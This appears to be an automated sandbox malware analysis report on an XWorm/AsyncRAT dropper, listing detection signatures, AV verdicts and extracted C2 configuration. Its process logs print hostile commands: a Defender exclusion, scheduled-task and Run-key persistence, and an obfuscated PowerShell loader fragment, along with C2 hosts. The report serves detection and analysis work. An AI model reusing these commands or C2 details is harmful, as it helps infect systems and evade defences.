2.0.DeadROOTkit.exe.1a0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x888a:$s6: VirtualBox 0x87e8:$s8: Win32_ComputerSystem 0x91f6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9293:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x93a8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8d52:$cnc4: POST / HTTP/1.1
0.2.mIURiU8n2P.exe.27c5330.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.mIURiU8n2P.exe.27c5330.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.mIURiU8n2P.exe.27c5330.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6a8a:$s6: VirtualBox 0x69e8:$s8: Win32_ComputerSystem 0x73f6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7493:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x75a8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6f52:$cnc4: POST / HTTP/1.1
0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x888a:$s6: VirtualBox 0x87e8:$s8: Win32_ComputerSystem 0x91f6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9293:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x93a8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8d52:$cnc4: POST / HTTP/1.1
1.0.DeadXClient.exe.680000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
1.0.DeadXClient.exe.680000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7532:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x75cf:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x76e4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x736e:$cnc4: POST / HTTP/1.1
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\DeadXClient.exe" , CommandLine: "C:\Users\Public\DeadXClient.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Public\DeadXClient.exe, NewProcessName: C:\Users\Public\DeadXClient.exe, OriginalFileName: C:\Users\Public\DeadXClient.exe, ParentCommandLine: "C:\Users\user\Desktop\mIURiU8n2P.exe", ParentImage: C:\Users\user\Desktop\mIURiU8n2P.exe, ParentProcessId: 2076, ParentProcessName: mIURiU8n2P.exe, ProcessCommandLine: "C:\Users\Public\DeadXClient.exe" , ProcessId: 5324, ProcessName: DeadXClient.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Deadsvchost.exe, EventID: 13, EventType: SetValue, Image: C:\Users\Public\DeadXClient.exe, ProcessId: 5324, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Deadsvchost

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\Public\DeadROOTkit.exe" , ParentImage: C:\Users\Public\DeadROOTkit.exe, ParentProcessId: 5804, ParentProcessName: DeadROOTkit.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe', ProcessId: 7176, ProcessName: powershell.exe

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:bubCglTffNzZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QBDRAqnALMmwja,[Parameter(Position=1)][Type]$duQqlSyxSK)$pNdjVVbnfJT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+'r'+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'De'+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+'y'+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+','+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+'Au'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$pNdjVVbnfJT.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+'m'+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+'i'+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$QBDRAqnALMmwja).SetImplementationFlags('R'+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$pNdjVVbnfJT.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+'l'+'',$duQqlSyxSK,$QBDRAqnALMmwja).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $pNdjVVbnfJT.CreateType();}$RJkdRlkUxkpOh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+'s'+''+[Char](111)+''+'f'+'t.W'+[Char](105)+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+'f'+[Char](101)+'N'+'a'+''+[Char](116)+'iv'+[

Sigma detected: Potential WinAPI Calls Via CommandLine

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:bubCglTffNzZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QBDRAqnALMmwja,[Parameter(Position=1)][Type]$duQqlSyxSK)$pNdjVVbnfJT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+'r'+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'De'+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+'y'+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+','+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+'Au'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$pNdjVVbnfJT.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+'m'+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+'i'+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$QBDRAqnALMmwja).SetImplementationFlags('R'+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$pNdjVVbnfJT.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+'l'+'',$duQqlSyxSK,$QBDRAqnALMmwja).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $pNdjVVbnfJT.CreateType();}$RJkdRlkUxkpOh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+'s'+''+[Char](111)+''+'f'+'t.W'+[Char](105)+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+'f'+[Char](101)+'N'+'a'+''+[Char](116)+'iv'+[

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\Public\DeadROOTkit.exe" , ParentImage: C:\Users\Public\DeadROOTkit.exe, ParentProcessId: 5804, ParentProcessName: DeadROOTkit.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe', ProcessId: 7176, ProcessName: powershell.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 208.95.112.1, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\DeadROOTkit.exe, Initiated: true, ProcessId: 5804, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\Public\DeadROOTkit.exe" , ParentImage: C:\Users\Public\DeadROOTkit.exe, ParentProcessId: 5804, ParentProcessName: DeadROOTkit.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe', ProcessId: 7176, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Deadsvchost.exe, EventID: 13, EventType: SetValue, Image: C:\Users\Public\DeadXClient.exe, ProcessId: 5324, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Deadsvchost

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\Public\DeadXClient.exe, ProcessId: 5324, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Deadsvchost.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\Public\DeadXClient.exe" , ParentImage: C:\Users\Public\DeadXClient.exe, ParentProcessId: 5324, ParentProcessName: DeadXClient.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe", ProcessId: 7244, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\System32\dllhost.exe /Processid:{7d42e50e-8059-4906-9d19-fa399c842f66}, ParentImage: C:\Windows\System32\dllhost.exe, ParentProcessId: 6968, ParentProcessName: dllhost.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 920, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:bubCglTffNzZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QBDRAqnALMmwja,[Parameter(Position=1)][Type]$duQqlSyxSK)$pNdjVVbnfJT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+'r'+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'De'+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+'y'+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+','+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+'Au'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$pNdjVVbnfJT.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+'m'+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+'i'+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$QBDRAqnALMmwja).SetImplementationFlags('R'+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$pNdjVVbnfJT.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+'l'+'',$duQqlSyxSK,$QBDRAqnALMmwja).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $pNdjVVbnfJT.CreateType();}$RJkdRlkUxkpOh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+'s'+''+[Char](111)+''+'f'+'t.W'+[Char](105)+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+'f'+[Char](101)+'N'+'a'+''+[Char](116)+'iv'+[

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\Public\DeadXClient.exe" , ParentImage: C:\Users\Public\DeadXClient.exe, ParentProcessId: 5324, ParentProcessName: DeadXClient.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe", ProcessId: 7244, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Win32/XWorm Checkin via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T19:15:49.657430+0200	2853685	1	A Network Trojan was detected	192.168.2.4	49739	149.154.167.220	443	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T19:15:38.561396+0200	2855924	1	Malware Command and Control Activity Detected	192.168.2.4	49738	147.185.221.21	28600	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mIURiU8n2P.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\DeadROOTkit.exe	Avira: detection malicious, Label: TR/Spy.Gen
Source: C:\Users\Public\DeadXClient.exe	Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\Users\Public\DeadCodeRootKit.exe	Avira: detection malicious, Label: TR/Dropper.MSIL.Gen
Source: C:\Users\Public\Deadsvchost.exe	Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\Users\Public\DeadROOTkit.exe	Avira: detection malicious, Label: TR/Spy.Gen

Found malware configuration

Source: 00000000.00000002.1703934967.0000000002781000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["subscribe-bond.gl.at.ply.gg"], "Port": "28600", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for domain / URL

Source: subscribe-bond.gl.at.ply.gg	Virustotal: Detection: 8%			Perma Link
Source: subscribe-bond.gl.at.ply.gg	Virustotal: Detection: 8%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\DeadCodeRootKit.exe	ReversingLabs: Detection: 91%
Source: C:\Users\Public\DeadCodeRootKit.exe	Virustotal: Detection: 81%	Perma Link
Source: C:\Users\Public\DeadROOTkit.exe	ReversingLabs: Detection: 87%
Source: C:\Users\Public\DeadROOTkit.exe	Virustotal: Detection: 64%	Perma Link
Source: C:\Users\Public\DeadXClient.exe	ReversingLabs: Detection: 95%
Source: C:\Users\Public\DeadXClient.exe	Virustotal: Detection: 71%	Perma Link
Source: C:\Users\Public\Deadsvchost.exe	ReversingLabs: Detection: 95%
Source: C:\Users\Public\Deadsvchost.exe	Virustotal: Detection: 71%	Perma Link
Source: C:\Users\user\AppData\Local\DeadROOTkit.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\DeadROOTkit.exe	Virustotal: Detection: 64%	Perma Link

Multi AV Scanner detection for submitted file

Source: mIURiU8n2P.exe	ReversingLabs: Detection: 73%
Source: mIURiU8n2P.exe	Virustotal: Detection: 67%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\DeadROOTkit.exe	Joe Sandbox ML: detected
Source: C:\Users\Public\DeadXClient.exe	Joe Sandbox ML: detected
Source: C:\Users\Public\DeadCodeRootKit.exe	Joe Sandbox ML: detected
Source: C:\Users\Public\Deadsvchost.exe	Joe Sandbox ML: detected
Source: C:\Users\Public\DeadROOTkit.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: mIURiU8n2P.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack	String decryptor: updates-full.gl.at.ply.gg
Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack	String decryptor: 60075
Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack	String decryptor: <123456789>
Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack	String decryptor: <Xwormmm>
Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack	String decryptor: USB.exe
Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack	String decryptor: BTC_Address
Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack	String decryptor: ETH_Address
Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack	String decryptor: TRC20_Address
Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack	String decryptor: Your_Token
Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack	String decryptor: Your_ID

Source: C:\Users\Public\DeadCodeRootKit.exe

Code function: 3_2_00B01000 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

3_2_00B01000

Source: mIURiU8n2P.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49739 version: TLS 1.2

Source: mIURiU8n2P.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
